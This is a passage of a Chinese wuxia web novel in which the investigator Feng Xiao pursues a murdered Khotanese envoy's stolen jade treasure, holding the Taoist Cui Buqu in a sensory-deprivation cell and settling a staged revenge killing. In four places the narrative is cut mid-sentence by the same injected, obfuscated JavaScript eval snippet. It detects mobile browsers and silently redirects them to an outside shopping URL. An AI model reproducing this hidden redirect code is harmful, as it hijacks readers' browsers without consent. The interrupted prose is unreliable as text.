崔不去咳嗽几声,借着道童的搀扶起身站定,整整衣袍,与对方平视。 “在下正是崔不去,多谢这位高人相救,敢问尊姓大名?” 凤霄往前几步,上了台阶,脱离头顶日晕笼罩,俊美真容展露。 崔不去云游四海,见过的人也许比他吃过的盐还要多,但凤霄依旧令他微微失神了一瞬。 但对方目光锐利,几乎化为实质,在他身上烧出两个洞来,崔不去又不是死人,哪里会感觉不到。 “敢问阁下,是否崔某说话有失礼之处?如是,还望海涵,救命大恩,崔某实在不胜感激。” 凤霄:“他为何要杀你?” 崔不去摇头:“我不认识他。” 凤霄:“但他临死前,说你是叛徒。” 崔不去道:“我的确与他素未谋面,也不知他为何要这么说,也许他认错人了。” 凤霄微哂:“六工城不止紫霞观一个道观,也不止你一个道士,怎么他不认错别人,偏偏认错你?” 崔不去的脸色也淡下来:“那阁下应该去问他才是,崔某又如何知道?” 凤霄冷冷道:“死人是没法问的,只能问活人了,来人!” 他一声既出,外头立时涌入七八个人,将院子围住。 其中二人上前,一左一右就将崔不去和院中的道童都拿住。 没有任何挣扎反抗,不费吹灰之力。 崔不去怒道:“你们是什么人,这样不分缘由胡乱抓人,难道大隋就没有王法了吗!” “你说得不错,只要我觉得谁可疑,就可以抓谁。你不是想知道我是谁吗?” 凤霄上前一步,捏住崔不去的下巴,将他的脸抬起来。 “我只说一遍,你最好记住了,我叫凤霄,来自解剑府。” …… 隋帝杨坚登基后,置三师三公,设三省六部,制法定律,大赦天下。 除此之外,他有感于中原与突厥、高句丽等国战火渐燃,为布谋涉密,故设解剑府,与六部并立,直接听命于皇帝一人。虽职责隐秘,少有人知,但解剑府权力极大,三位府主的地位亦等同六部尚书,情势危急时甚至有先斩后奏之权。 解剑府内有解剑石,乃隋帝亲手所置,入府之人,无分官职高低,身份尊卑,甚至连皇子在内,亦不得佩剑入内,可见解剑府之特殊。 此次于阗使者入贡中原,意义非凡,朝廷生怕有人从中作梗,特命解剑府精锐前来护送使者进京,凤霄这才亲自出马,却没想到还是来晚一步,于阗使者在六工城外就被杀了,与他一道失踪的,还有一个女人,以及一份礼单。 劫杀者拿走礼单,想必也带走了礼单上的某样东西。 于阗多美玉,珍宝多半也与玉有关,凤霄身在解剑府,熟知天下奇事,对于阗的镇国之宝,天池玉胆也有所耳闻,他猜测那一件失踪的珍宝,应该就是传说中的天池玉胆了。 但这样一来,案子就变得更加扑朔迷离。 凶手见财起意,筹划已久,可能真是突厥人干的,但也可能是借突厥人之手来混淆视线。 派去于阗的人暂时还未有回音,凤霄就将目光放在了六工城,放在了在两个月间声名鹊起的崔观主身上。 “请问,解剑府是江湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728833|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上什么门派?我无权无势,平日里也不和江湖人往来,又是什么时候得罪的你们?” 崔不去被带回秋山别院,对方没有对他严刑拷打,也没有锁住他——当然也没必要锁,崔不去是完完全全不会武功的一个普通人。 他与凤霄二人,面对面坐着,身前还摆着一壶热气腾腾的茶,这老友叙旧般的氛围,跟刚才的剑拔弩张截然不同,崔不去甚至有点恍惚,仿佛刚才的刺杀被救,质问抓人,都是一场梦境而已。 凤霄懒懒道:“身为方丈洲琉璃宫的弟子,你会不知道解剑府是什么?” 他从袖中摸出一枚小巧玲珑,两个指节大小的玉牌,抛到崔不去面前。 “这是从你枕头下面搜到的,我想崔观主应该不会再装傻了吧?” 方丈洲琉璃宫,这是一个孤立海外,遗世独立的门派,此中弟子不参与江湖恩怨,多以叙事记载武林传闻出名,据说也收留了不少无法在中原立足,流亡海外之士。最重要的是,琉璃宫弟子熟知天下大事,崔不去既然是琉璃宫的人,解剑府的存在再隐秘,他也不可能没有听过。 崔不去叹道:“实不相瞒,我的确听过解剑府,但我一介布衣,向来不跟官府打交道,装装糊涂就能少点麻烦。而且,你误会了,我不是琉璃宫弟子,我有位长辈,乃是琉璃宫客卿,师从春秋纵横家,对我曾有数年的教导之恩。为了方便我前去探望,那位长辈才送了我这枚玉牌。” 凤霄挑眉:“这么说,你是纵横家弟子?你一个道士,去学些口舌争辩之才,不觉得对不起你们祖师爷?” 崔不去表情坦然:“那有什么法子?道士也要吃饭的,我若口舌不灵便一些,紫霞观哪有今日?” 凤霄:“秦妙语是你什么人?” 崔不去莫名其妙:“那是谁?” 凤霄:“于阗使者被劫杀,他的爱妾秦氏妙语失踪,秦氏出嫁前是六工城人士,最爱到玉佛寺和紫霞观进香,你在两个月前突然来到紫霞观,一手将它扶持起来,以你的能耐,去任何一个大道观都没有问题,为什么偏偏选了紫霞观?” 他咄咄逼人,身体随着话语往前倾,蓦地贴近崔不去,气息扑面而来,令崔不去微微皱眉,想要后退,却被人一把按住肩膀。 “梅花冷香。”鼻尖凑近对方脖颈,凤霄低声道,“这香气跟尉迟金乌马车里的一样,你跟他小妾是什么关系,还是说,你男扮女装,劫杀了他?” 崔不去气笑了:“我这个样子,就算扮成女人,怕也无人相信吧?还不如阁下穿女装来得明艳动人!至于你说的梅花香,今日的香客信众众多,我也不知与多少人面对面说过话,沾上点香气又有何奇怪的?” 凤霄盯住他。 虽然对方竭力撇清关系,故作无辜,凤霄暂时找不到任何证据,但崔不去反应太过镇定,这本身就是最大的疑点了。 崔不去在来到紫霞观之前,做什么,来自哪里,为什么又会与方丈洲琉璃宫扯上关系,全都一团模糊,令人捉摸不透。 “看来崔观主是执意不肯坦白了?” 凤霄推开他,任凭对方猝不及防,往后一歪。 他自己则起身拍手掸衣,像是生怕崔不去身上的尘埃脏了自己。 “你知道,我为什么带你来这间屋子吗?” 5. 第 5 章 这间屋子,乍看与别的屋子,并没有多大区别。 顶多是窗纸糊得厚一些,屋顶横梁比别处更低一些,光线暗淡,所以大白天屋里也点上了烛火,令人感觉有些压抑。 除此之外,陈设一应俱全,看上去还很新,就连柜脚放在地面上的缝隙,也并没有那种长年累月摩擦出来的毛边。 崔不去略略扫了一眼,就道:“这里原来不住人的吧?” 凤霄微微笑道:“住人是住人的,只不过原来是奴婢住的侧间,我让人重新布置了一下,暂时就作为解剑府的刑房吧。” 面对这样赤|裸裸的威胁,崔不去道:“阁下的意思,是要对我用刑了?” 凤霄半蹲下身体,与他平视:“你看,你的反应,就半点都不像一个无辜的普通人,让我怎么可能不怀疑你?” 崔不去无奈道:“你好歹也讲讲理,难道我现在大声喊冤,你就会放过我了?秦氏就算与紫霞观有什么瓜葛,那也是从前的紫霞观,我根本就不认识那女子!阁下想必也将紫霞观上下搜了个遍,难道发现什么可疑之处了吗?” 凤霄道:“本城有香火更盛的白云观,你为何不去那里?” 崔不去:“宁为鸡头,不为凤尾。紫霞观百废待兴,我若扶植起来,往后便是我说了算,总比寄人篱下来得自在,这个道理,不需要多说吧?” 凤霄摇摇头:“不合理。两个月前,琳琅阁刚刚放出消息,说今年的拍卖要在六工城分号举办,不早不晚,你就偏偏在这个时候来了,巧得让人生疑。于阗使者死了,秦氏连同珍宝失踪,说不定那珍宝在外头遛一圈,又会出现在六工城内。你是为了什么而来?秦氏?还是珍宝?东西到底藏在哪里?紫霞观,还是琳琅阁的拍卖会上?” 崔不去:“阁下的话,让我越发听不懂了。” 凤霄:“没关系,你在这里好好想一想。什么时候想通了,就告诉我。” 崔不去道:“我身体向来不大好,恐怕经不起什么严刑拷打。” 凤霄意味深长道:“你以为身体上的痛楚,就是这世上最难熬的了吗?” 他说罢,也没等崔不去回答,就起身往外走。 裴惊蛰看了崔不去一眼,紧随其后。 片刻工夫,屋里的人都撤得干干净净。 几盏烛火熄了,门一关上,屋内立时变得昏暗。 随即,外面支起的窗户也都被拉下来,不知凤霄吩咐了什么,每个窗户又在外头被封上几层黑纱,将仅有的一点光亮彻底隔绝。 这会儿的屋子,是彻彻底底的伸手不见五指,外面别说脚步声,连一丝虫鸣鸟叫都听不见。 静夜引幽思,文人多戚戚,但那是在有松风明月相伴下的幽静,一旦寂静到了极点,反而变成一件极为可怕的事情。 崔不去在房门关上的那一瞬间,脸色就冷了下来,不复刚才特意表现出来的无奈和愤怒。 等到窗外被蒙上黑纱时,他甚至还轻哂一声。 崔不去知道对方想做什么。 五感尽失,人在极度安静与无聊之中,就容易胡思乱想,进而神智混乱。 没有人说话,哪怕大喊大叫,听见的也只会是自己的回音,不知道外面是白天或黑夜,一天两天还好,到了第四第五天,乃至十天半个月之后,就会忘记时间的流逝,最后会不知道自己活着还是死了,身处阳间还是地狱。 任是再硬气的汉子,在这样无声的折磨下,只怕最后都要痛哭流涕地求饶。 崔不去就曾亲眼见过,一个擅长双剑,在江东武林赫赫有名的江湖人士,被迫在这种屋子待上半个月,出来之后他浑身布满伤痕,那都是他自己划出来的伤口,他只能通过自残的疼痛,来感知自己还是个活人。 杀人不见血,解剑府多的是这种手段。 现在,这样的手段被用在了崔不去身上。 想必凤霄早已笃定,任凭崔不去有再多古怪,在这种屋子里待上半个月,也绝对不可能捱过去的,到时候自然有问必答,是真是假一目了然。 崔不去拎起蒲垫,在屋内摸索,找到一根柱子,背靠着盘腿坐下。 他不会武功,但也学过一些呼吸吐纳的养生功夫,闭上眼开始循环反复地练,脑子放空,将一切杂念摒弃在外。 虽然有些和尚道士可以动辄入定数天乃至十几天,但那毕竟是从小四大皆空修炼精深的大拿,寻常出家人尚且没法比,更不要说在十丈软红中打滚的普通人。 崔不去能忍耐多久,连他自己也不知道,但他知道,凤霄肯定不会这么轻易就放过自己。 解剑府,不会只有这点手段。 …… “郎君,三天了。”裴惊蛰将一瓯新茶放下,道。 “嗯,什么三天?”凤霄正低头在看且末城那边传回来的消息,漫不经心应道。 “那位崔观主在那间屋子里,已经待了三天了,他不会武功,再待下去,恐怕会出事。”裴惊蛰提醒道。 “你自己手上也没少沾过人命,怎的突然对一个道士怜惜起来?”凤霄抬头瞟他一眼。 裴惊蛰冤枉道:“属下这不是怕坏了您的大事么,此人既然可疑,若是死了,岂非断了一条重要线索?” 凤霄不答他,将手中信笺递过去。 裴惊蛰接过,仔细看完,咋舌道:“果然是天池玉胆!为了讨得陛下欢心,派兵帮他对付突厥人,于阗王这回算是下了血本了!” 凤霄:“尉迟金乌死了,于阗王会重新派使者过来,但案子必须查清楚,玉胆也必须找到。” 裴惊蛰笑道:“若是这案子破了,恐怕您就彻底避不开襄国公主了,这下子您离京的初衷不也……” 话未说完,他被凤霄眼尾轻轻一扫,差点咬住舌头,赶紧收敛嬉笑,正色道:“属下判断,秦氏的失踪与玉胆有关,找到她,应该就能找到玉胆。” 玉胆在城外失踪,凶手携带玉胆,只能去两个地方,要么入六工城,要么直接奔往且末城。 但且末通往于阗,这一去就等于走回头路,对方不可能带着宝物一直在野外躲藏,最有可能的便是在六工城蛰伏下来,借琳琅阁拍卖之机,再稍作伪装,过明路运送出去。 裴惊蛰:“现在与秦氏有关,一共三条线索,玉佛寺暂时没有发现古怪之处,那里很可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728834|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能只是秦氏用来混淆视听的;紫霞观那边,属下带人搜查了几遍,亦无可疑;唯有秦妙语之前寄住的姑母家,已查到,她姑母一家迁往金城居住,半个月前金城起火,据查是秋干物躁,孩童玩火不慎之故,她姑母一家大小六口人,也都死在这场大火里。巧的是,他们一家死的时候,差不多应该也是尉迟金乌从于阗出发,前来中原的时候。” 顿了顿,见凤霄没有打断,他就继续道:“所以属下怀疑,这秦妙语的身份,应该从头到尾都是假的,她处心积虑,不过是为了博取尉迟金乌的注意,与他一道去于阗,接近天池玉胆。” 凤霄道:“她给尉迟金乌当了四五年的妾室,又怎会在四五年前,就料到于阗王这次必定派尉迟金乌出使中原?” 裴惊蛰一愣,随即意识到自己思路上的失误:“那,会不会是真正的秦妙语,在尉迟确定出使之后,就已经被换掉了?” 如果要将于阗使者之死嫁祸大隋,最好的选择是让尉迟金乌死在隋朝为其准备的驿馆里,顺便偷走玉胆,才能最大限度挑拨大隋与于阗之间的关系。 但这样一来,秦氏作为尉迟金乌最宠爱的妾室,免不了就要进城,跟六工城的亲朋旧友打交道,她的身份极有可能暴露,但最容易暴露她的,肯定是她昔日的至亲姑母一家,所以秦氏的姑母就必须死。 也许是计划有变,导致秦氏不得不在城外动手,也许动手劫杀的,跟秦氏不是一路人,这桩案子扑朔迷离,就连他们,一时半会也暂时无法拨开迷雾。 裴惊蛰道:“属下已经按照您的吩咐,让赵县令限制每日出入城门的人数,亲自带人在那里仔细搜查,绝不让他们易容夹带,不过,琳琅阁那边,就有些麻烦。” 凤霄微微皱眉:“什么麻烦?” 裴惊蛰苦笑:“琳琅阁背后有陇西李氏与博陵崔氏的份子,又有乐平公主撑腰,陛下向来对乐平公主心怀愧疚,多有纵容,您也知道,只怕凶手有意利用这一点,将玉胆混入这次拍卖之中,再光明正大带出城。” 凤霄长身而起,嗤道:“乐平公主又如何?还不是得屈从父兄,随波逐流。琳琅阁拍卖,何时开始?” 裴惊蛰:“明日,属下已命人暗中盯着他们一举一动,一旦拍卖会上有何可疑之物,立时就将其扣下。” 凤霄:“尉迟金乌一行死在城外,此等大事,他们不可能没有耳闻,行事只会加倍小心,你……” 他话未说完,外面便有解剑府侍从匆匆入内。 “郎君,如意客栈有斗殴,出人命了!赵县令着人过来,先请您过去瞧瞧。” 寻常斗殴命案,犯不着惊动解剑府,赵县令会找过来,只能说明命案双方的身份他得罪不起,想请凤霄这尊大佛去坐镇。 凤霄嗯了一声:“我过去。” 裴惊蛰忙请示道:“郎君且慢,那位崔观主,如果他还不肯服软,要如何处置?” 凤霄道:“给他用点奈何香吧。” 裴惊蛰露出惊诧迟疑之色:“万一他熬不住……” 凤霄:“人废了也无妨,留一口气就行。” 他面色淡淡,凉薄之意若有似无。 6. 第 6 章 琳琅阁分号遍布南北,每年一度的拍卖更是盛事,虽然琳琅阁每年举行拍卖的地点都不尽相同,有时在江南,有时在海北,今天更是挪到六工城来,但上至显贵,下至庶民,民间江湖,都会有人不远万里赶过来参与。 旁人不知内情,只当这拍卖里必然有许多奇珍异宝,实际上异宝虽有,少之又少,更多的则是平日里难以买到的珍贵药材,失落已久的典籍孤本,从西域流传过来的香料宝石等,对于不想各地奔波收集的人而言,这样的拍卖无异于一个大型集市,自然十分欢迎。 更因琳琅阁背景深厚,来头不小,虽然家大业大,但连江湖人也不敢轻易招惹,小风波偶尔有之,大的变故却从未发生,每年拍卖也都顺风顺水。 不过今年注定是要例外了。 琳琅阁将拍卖地点定在六工城时,许多人便心生嘀咕,只因六工城并非江南繁华之地,亦非大兴城那样的天下名城,虽说此地连接东西,为客商出入西域的必经之路,但毕竟离突厥也近,地处偏远,风沙弥漫,娇生惯养的贵人们轻易也不愿过来,所以今年参与拍卖的人数,比往年要略少一些,大部分是江湖人士,南北客商亦多,还有不少高鼻深目的西域商贾,牵着骆驼,载满货物前来。 变故就发生在琳琅阁六工城分号的门口,一行人刚刚走出来,旁边路过的人群之中,便有一人飞身而出,持剑刺向为首的年轻人,两人随即交手,结果以刺客身亡而告终,这时旁边忽然有一名女子冒出来,扑向死者,大哭出声,指控对方杀了自己的兄长。 众目睽睽之下,杀人者与被杀者都被围在人群中央,无法离开,捕役很快赶来,发现杀人者身份棘手,便赶紧找了赵县令,赵县令又请来凤霄出面。 凤霄来到时,尸体尚未挪走,少女正扑在尸身上大哭,见一双黑色靴子走近,停在视线之内,不由抬起头,一双带泪眸子楚楚动人,眼里盛满悲戚,毫无作伪。 但凤霄的目光仅仅停顿片刻,就从她身上移开,落在杀人者身上。 “人是你杀的?”他问对方。 年轻人的表情微微一滞,显然不大乐意回答凤霄的问题,却又为其气势所迫,一时左右挣扎。 赵县令见状忙道:“这位凤郎君,乃是京城而来,奉命——” 他看了凤霄一眼,原想说解剑府,却不知对方愿不愿意透露身份,口风一转,改口道:“奉命调查于阗使者一案,特地过来帮忙。” 又向凤霄介绍命案双方的身份:“这是琳琅阁大掌柜温凉,死者姓应,叫应无求,关中人,那女子是他的妹妹。” 思及此,温凉主动上前,拱手道:“在下正是温凉,好教二位知晓,方才我与手下掌柜从里头出来,此人突然现身,意图害我,幸亏我早年习武,勉强能防身,侥幸没被伤着,但他不知怎的就当场倒毙了,并非我所杀。” 少女怒道:“光天化日,所有人都看见了,你与我兄长打斗,我兄长被你几掌打死了,杀人者偿命,你有什么话说!” 相比少女的激动,温凉就显得镇定许多:“此人谋害我在先,我不过是将他打退,而且我打他的那几掌,也都不在致命处,仵作一验便知。” 少女:“若不是你害死我们父亲,大哥如何会拼着性命不要来杀你?!” 温凉嗤笑:“血口喷人,我又何时害死你父亲了,可别认错了人,到头来一场笑话!” 少女瞪住他,满怀怨恨:“温凉,就算化成灰,我也认得你!” 这案子显然别有内情,凤霄无意在这里审问,就挥挥手,让人将涉案人等悉数先带回县衙再说。 少女本是不愿走,被捕役左右一拉,身不由己,只能频频回头瞪向温凉,她双目通红,形容怨愤,若是世间真有厉鬼,她怕是马上会触柱而亡,化为厉鬼来找温凉索命。 温凉却没朝她看一眼,往凤霄这边走了几步,行礼道:“凤郎君,能否借一步说话?” 凤霄:“说。” 温凉只得道:“这几年琳琅阁风头正盛,难免有小人心怀不轨,在下蒙我家主人青眼,担任大掌柜一职,更容易招惹是非,还请凤郎君、赵县令明察。” 凤霄:“此事发生在六工县,自有县令处置,你与他说便可,不必与我说。” 此时尸体也已经被抬走,徒留地上血迹斑斑,逐渐干涸深色。 凤霄往地上看去,忽觉耳边轻风掠过,练武之人的反应让他几乎同时就侧身闪避,余光一撇,却见一根毫针几乎擦着鼻尖而过,飞向他身前几步的温凉! 温凉浑然未觉,他的身手也许可以应付应无求,却应付不了这种偷袭。 心念电转,凤霄卷起袍袖,将毫针甩落在地。 温凉只见凤霄抬袖朝自己拍来,还以为他想打自己,下意识后退几步,惊道:“你!” 凤霄:“地上有针。” 温凉定了定神,朝地上看去,果见一根毫针,隐隐泛蓝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728835|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必定掺了剧毒,不由后怕不已,抬头就看见凤霄正用审视的目光看着自己。 “我不知是谁如此恨我,定要置我于死地!”温凉苦笑道。 凤霄对赵县令道:“你先带他回县衙关押,回头我亲自审。” 温凉皱眉道:“在下不是犯人……” 凤霄冷然打断:“但凡与案件有涉,皆为可疑,是否清白,待我审过之后再说。” 温凉顿足道:“可明日的拍卖,须得在下坐镇啊!” 凤霄道:“离了你,你手下就没有人了?若是如此,琳琅阁倒不如趁早关门吧!” 他言语霸道,竟是不容半分反驳,温凉面露愠色,正要说话,旁边已有人按捺不住,抢过话头,冷笑道:“京城来的便了不起么,我不让你抓人,你又能如何!” 凤霄缓缓转头,望住对方,一张脸在朗朗青天下莹润有光,偏偏双目锐利若鹰,直将人钉在原地,生不出半分狎昵唐突。“你又是哪个墙角里冒出来的?” 他仿佛此时才注意到对方,轻慢的态度更令对方几乎气歪鼻子。 “我乃乐平公主家人,不要说你连乐平公主都没听说过!有本事报上你的官职姓名,待我回京,再请公主出面,好好与陛下说道说道!” 家人便是仆人,这年头打狗要看主人,要是寻常主人倒也罢了,偏偏这乐平公主,不仅是陛下长女杨丽华,也是前朝皇后、皇太后。杨坚改朝换代,以隋代周,将女儿夫家的江山给抢了,又将当了别人皇后的长女重新封为公主。 杨丽华恪守尊卑,对父亲这种夺朝篡位的行为极为不满,但她终究是女儿家,再不满也没法如何,杨坚夫妇为了弥补长女,对她多有疼爱,比对几个儿子还要更容让一些,乐平公主想做的事情,只要不是谋逆造反,帝后也绝无二话,是以公主家人的脸面,有时比六部尚书还要管用。 乐平公主拿了琳琅阁的分红,自然也成为它的保护伞,旁人要想动琳琅阁,听见乐平公主的名头,也会先退三分,更不必说这后头还有世家的身影。 但凤霄听见对方说出乐平公主四个字,非但没有如对方的愿,露出诚惶诚恐之色,反而微微挑眉,凤眼微光流转,粲然一笑:“我叫凤霄,来自解剑府,这个名字好听吗?” 那公主府家人听见解剑府凤霄几个字,登时脸色一变,刚才的志得意满通通消失不见,取而代之的是见了鬼似的表情,脚底如同扎了针,恨不能立马蹦起来插翅飞走。 7. 第 7 章 京城脚下,贵人遍地跑,小官不如狗,有些皇子皇孙泛滥的朝代,连他们都未必值钱。 不过当今帝后是个例外。 打从隋帝还是前朝臣子时,其妻独孤氏便一路相随,她不像寻常女子只会躲在丈夫后面寻求庇护,杨坚几次遭挫,都有赖独孤氏化险为夷。杨坚登基之后,独孤氏当仁不让成了独孤皇后,在丈夫的支持下继续参与朝政,时人称之为二圣。 许多人也都看出来了,这帝后之间,不仅有夫妻之情,更有同气连枝的扶持之谊,谁也离不开谁,是以独孤皇后的地位,比前朝任何皇后都来得稳固,更不必说两人“誓无异生之子”,本朝的皇子公主,皆出独孤皇后膝下。 如此一来,长女乐平公主的地位就尤为特殊,她不仅是皇后亲生,更是长女,又因早年特殊的经历,令帝后二人尤为怜爱,几乎有求必应,乐平公主的家人在外行走,也都人人敬让三分。 但就是这样一位主儿,却在解剑府这块拦路石面前,撞得头破血流。 乐平公主曾与前朝皇帝宇文赟生下一女,名为宇文娥英,此女虽然丧父,却有母亲呵护,更有外祖父母爱屋及乌,加倍疼爱,哺乳过她的奶娘自然也跟着鸡犬升天。半年前,奶娘的儿子因牵连案子,被解剑府扣留,奶娘向宇文娥英求情,宇文娥英又求到母亲乐平公主跟前。 公主只有这一个女儿,自然舍不得她受委屈,当下便带着公主府的家将上解剑府,让对方放人。 解剑府有三位府主,大府主为刑部尚书兼任挂职,一般不管事,真正做主的是二府主凤霄。 当天在场的人并不多,据后来流传的版本,据说是公主气势汹汹带着人上门,家将仗着公主在场,不肯解剑,公主也默许纵容,双方在言语上起了冲突,凤霄二话不说,当着乐平公主母女的面,直接把家将的剑拧成三断掷出去。 家将当时只觉疾风当头刮来,还未回过神,人已经被钉在解剑石上,断剑三截,恰好就钉在对方双肩与胯|下的衣料上,将人牢牢固定,轻易不敢动弹。 所有人都目瞪口呆,乐平公主更是不敢相信,这世上还有人敢当着她的面,如此折辱自己的人,当即一状告到天子那里,谁知倒霉的却不是解剑府,更不是凤霄,隋帝杨坚哈哈一笑,道凤二真乃直脾性也,将那家将分配出京,安抚公主一顿,此事就不了了之。 经此一事,不说乐平公主,就连旁人也能看出,解剑府在皇帝心中非同小可,凤霄更是深得看重,既然乐平公主都撼动不得,其他人更不必说了。 凤霄的凶名,更是在京城小范围内流传一圈,别人不说,从公主府出来的人,是绝对知道的。 是以这人一听说解剑府凤霄亲至,立时脸色大变,恨不能掉头就走,全无之前的趾高气扬。 “这兴许是其中有些误会,既然解剑府办案,我等就不作干扰了,请!”那人笑得有些难看,气势软下不少。 凤二府主却不是这么好打发的,他手一挥,对赵县令道:“这些人与案有涉,也都带回去问话。” 赵县令面露难色:“这……” 凤霄没等他纠结完,直接叫了解剑府的精骑,将刚才与温凉同行的人都带走。 那公主府家人虽然不情不愿,却不敢再口出恶言,只能恨恨瞪凤霄一眼,无可奈何从命。 连在京城,乐平公主亲自出马,都奈何不了凤二,更何况这里天高皇帝远,凤二就算杀了他,照样全身而退。 凤霄没有亲自审问温凉,而是将案子交给赵县令去办。 这一个月以来,发生在六工城的事情一桩接一桩,简直令赵县令焦头烂额,无从下手,一面疲于应付,一面又怕凤霄怪罪他办事懈怠,是以只能提起十二分精神,他不敢过分提审乐平公主的人,对温凉却没什么顾忌,又从死者妹妹口中相互印证,居然很快就把案情查清楚了。 十几年前,关中有两户人家,一户姓应,一户姓温,世代经商,且交情不错。应、温两家的家境,原本相差无几,都只是中等殷实人家,但温家男主人经商有道,很快就拓展人脉,壮大家业,反观应家,却一直平平没有起色。应氏遂起了贪念,勾结绿林盗匪,趁温家男主人带着长子外出经商时,将二人劫杀,又趁温家只剩老弱妇孺时,接手他们的生意,从而一步步富裕起来。 温家幼子自小聪明却体弱多病,被留在行医的外祖父家调养,他听说此事,心中生疑,就开始暗中调查,终于查到那群盗匪身上。温凉深知当时的温家无力与应家抗衡,便悄然离家,外出闯荡,因缘际会结识贵人,又进入琳琅阁做事,慢慢查清自己父兄的死因。 正好当时关中地区换了一位新的父母官,对方求功冒进,温凉看准这一点,拿着应家与绿林盗匪暗中勾结的证据上门,刺史大喜,当即下令查抄应家,没收一干财产,应父也被获罪流放,死于路上。 当时应氏兄妹因年幼逃过一劫,侥幸活下命来,自然对温凉恨之入骨,但他们也深知,以温凉今时今日的地位,他们不可能杀得了对方,于是就想出一个同归于尽的办法:应无求先服下剧毒葛草,再找上门与温凉打斗,让温凉打伤自己,这时应无求毒发身亡,温凉自然也逃不脱杀人的干系。 此事内情复杂,但赵县令见了凤霄对公主府家人的态度,生怕自己这个小卒随时被弃用,愣着逼着手底下的人日夜不停,将事情查清楚,查来查去,仵作剖尸查验,终于验出应无求体内残余的毒草,这才证明了温凉的清白。 应家先对温家下手,温凉又以牙还牙,他先前向凤霄表示自己不认识应氏兄妹,显然是睁眼说瞎话,但两家恩怨是非纠缠不清,连赵县令向凤霄禀报时,也唏嘘不已。 不过凤霄对此兴趣不大,他的关注点落在温凉本人身上。 “温家的人,除了温凉,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728836|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死光了吗?”他问道。 赵县令摇摇头:“温凉还有一位母亲,卧病多年,他事母至孝,老母信佛,让他不可赶尽杀绝,所以当年他才只对应家主人下手,放过了应氏兄妹。我已派人去询问过他母亲,的确所言非虚,大夫也说,温母病体虚弱,药石罔效,恐怕没有多少时日了。” 他有心与凤霄套近乎,后者却面色淡淡,无意多说,赵县令只好怏怏告辞,寻思着私下再问问凤霄身边的人,投其所好,送点礼物,若能让这位威风八面的凤二府主在天子面前美言一两句,那自己日后也就前程无量了。 赵县令前脚一走,裴惊蛰就道:“郎君,这个温凉有问题!” 凤霄不置可否,只从鼻息中嗯了一声,音调微微上挑,便令人不由自主心头一荡,无关欲念,充其量只是凡人之心对美色的无法把持。 有的美人在皮,有的美人在骨,凤霄显然已是世间罕有的极致。 然而他锋芒毕露,气势惊人,举手投足无一不是力量,这样的美人又令人生不起猥亵染指之心,只会着迷膜拜,俯首臣服。 裴惊蛰走神片刻,正想着凤霄的父母难道在他一出生就料到儿子日后如此出色,所以给他起了这么一个不凡的名字,就听见凤霄又不耐烦地啧了一下,赶紧将飘远的思路强行扯回来。 “那天池玉胆,据闻有令人青春不老,起死回生之效,温凉母亲久病不愈,他又对母亲如此孝顺,为了母亲一句话,就愿意放应氏兄妹一条生路,才让他们今日有机会再来报复,他那么为了母亲,暗中谋夺玉胆,就有了动机。” 凤霄:“继续。” 裴惊蛰:“今日在琳琅阁外,若不是您,温凉差点就死于非命,说不定正是因为他暴露了,与他勾结的人生怕他供出同伙,急着杀人灭口。” “还有,六工城这地方,原本不是琳琅阁的重要分号,以往拍卖也从来不会找这么偏远的地方,今年却偏偏选了这里,难道不是温凉为了方便行事,掩人耳目,特地选的地方?” “几条线索结合,属下猜测,温凉十有八九与于阗使者被杀,玉胆被劫有关。” 凤霄听罢,却道:“你不觉得太巧了吗?” 裴惊蛰一怔。“您的意思是?” 凤霄:“我们想查琳琅阁,温凉就送上门来,简直就像瞌睡了有人送枕头,巧得不能不让我怀疑,这是有人故意在混淆我们。” 裴惊蛰眨眨眼,他觉得凤霄有些多疑了。 “属下会盯着温凉那边,争取从他口中撬出实情的。” 凤霄话锋一转,忽然问起崔不去那边:“奈何香用了吗,效果如何?” 裴惊蛰闻言,脸上立时露出古怪的神色。 “用是用了,不过……” 不过没能让对方知无不言。 裴惊蛰还是头一回发现,这世上还有奈何香也奈何不了的硬骨头。 8. 